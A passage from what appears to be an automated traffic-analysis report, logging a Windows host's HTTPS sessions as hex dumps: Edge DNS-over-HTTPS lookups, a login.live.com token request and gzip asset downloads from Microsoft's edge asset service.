VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-20 15:50:52 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49781	172.64.41.3	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 15:50:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49783	172.64.41.3	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 15:50:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49782	162.159.61.3	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 15:50:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49769	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-20 15:50:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 15:50:52 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 15:49:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_SN1 x-ms-request-id: 030b8d66-b785-4df3-af10-274fe2851476 PPServer: PPV: 30 H: SN1PEPF0002F115 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 15:50:51 GMT Connection: close Content-Length: 11409
2024-11-20 15:50:52 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49785	13.107.246.63	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:53 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:53 UTC	583	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:53 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 5494527a-701e-002c-1132-3bea3a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155053Z-185f5d8b95cx9g8lhC1NYCtgvc00000002p0000000014qkx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:50:53 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-20 15:50:54 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-20 15:50:54 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-20 15:50:54 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-20 15:50:54 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49788	13.107.246.63	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:54 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:55 UTC	577	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:54 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f9a188a-601e-0055-1252-3b8370000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155054Z-185f5d8b95crl6swhC1NYC3ueg0000000ak000000000n649 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:50:55 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
